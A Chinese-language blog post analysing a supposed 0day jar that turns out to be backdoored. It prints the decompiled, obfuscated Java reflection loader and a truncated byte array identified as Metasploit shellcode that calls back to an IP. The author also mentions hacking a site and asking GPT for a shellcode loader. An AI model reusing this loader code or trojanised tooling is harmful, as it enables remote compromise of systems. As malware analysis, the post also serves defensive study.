0x00前言
昨天正在日站,一顿输出,error,关站,waf,gg
于是摸会鱼,在微信里,发现团队小伙伴发了一个0day
解压后,一堆dll,其中有个jar包
于是乎
打开idea,添加到lib as lib
就可以看反编译后的代码了,或者使用jd-gui也可以
主要代码在pwnAction
创建一个进程执行命令,不知道具体是干什么的,参数加密了
再往下,900多行的字节数组,
变量传给var4,var4 又在var14 objectd数组里,具体不清楚干什么了,但明显知道,下面这段代码用了反射
Class var5;Class var12;label16: {try {var5 = Class.forName(var3);} catch (ClassNotFoundException var9) {byte[] var7 = dump();var12 = var5 = var1.defineClass(var3, var7, 0, var7.length);break label16;}var12 = var5;String var10001 = CommandLineParser.ALLATORIxDEMO("V\u0011\\\u000fi\u0013V\u0002\\\u0012J");Class[] var13 = new Class[1];boolean var10004 = true;var13[0] = Integer.TYPE;Method var6 = var12.getDeclaredMethod(var10001, var13);var6.setAccessible(true);Object[] var14 = new Object[1];var10004 = true;var14[0] = var2;long var11 = (Long)var6.invoke((Object)null, var14);var10001 = CommandLineParser.ALLATORIxDEMO("\\\u000fH\u0014\\\u0014\\");var13 = new Class[5];var10004 = true;var13[0] = Long.TYPE;var13[1] = byte[].class;var13[2] = String.class;var13[3] = String.class;var13[4] = Object[].class;Method var10 = var5.getDeclaredMethod(var10001, var13);var10.setAccessible(true);var14 = new Object[5];var10004 = true;var14[0] = var11;var14[1] = var4;var14[2] = null;var14[3] = null;Object[] var10005 = new Object[0];boolean var10007 = true;var14[4] = var10005;var10.invoke((Object)null, var14);}
于是找gpt生成一个javashellcode加载器
上面代码中的shelloce 就是上面的字节数组,invoke var14,var14中有var4,var4则为字节数组,那么可猜测pwnaction的关键代码分别是shellcode和加载器
将字节数组拿出来,转换一下
import java.io.*;import java.util.Scanner;public class test {public static void main(String[] args) throws IOException {byte[] var10000 = new byte[926];var10000[0] = -4;var10000[1] = 72;var10000[2] = -125;var10000[3] = -28;var10000[4] = -16;var10000[5] = -24;var10000[6] = -56;var10000[7] = 0;var10000[8] = 0;. . . . . .var10000[920] = 55;var10000[921] = 0;var10000[922] = 58;var10000[923] = -34;var10000[924] = 104;var10000[925] = -79;FileOutputStream outputStream = null;try {outputStream = new FileOutputStream("test.class");outputStream.write(var10000);} catch (IOException e) {e.printStackTrace();} finally {if (outputStream != null) {try {outputStream.close();} catch (IOException e) {e.printStackTrace();}}}}}
使用记事本打开class文件,存在一个ip
用16进制打开看一下,\xFC\x48\x83\xE4,学过免杀的小伙伴应该已经猜到了,这是msf的码子
微步查看
然后看一下jar包,也爆出远控。
,由此可见,确实有些问题。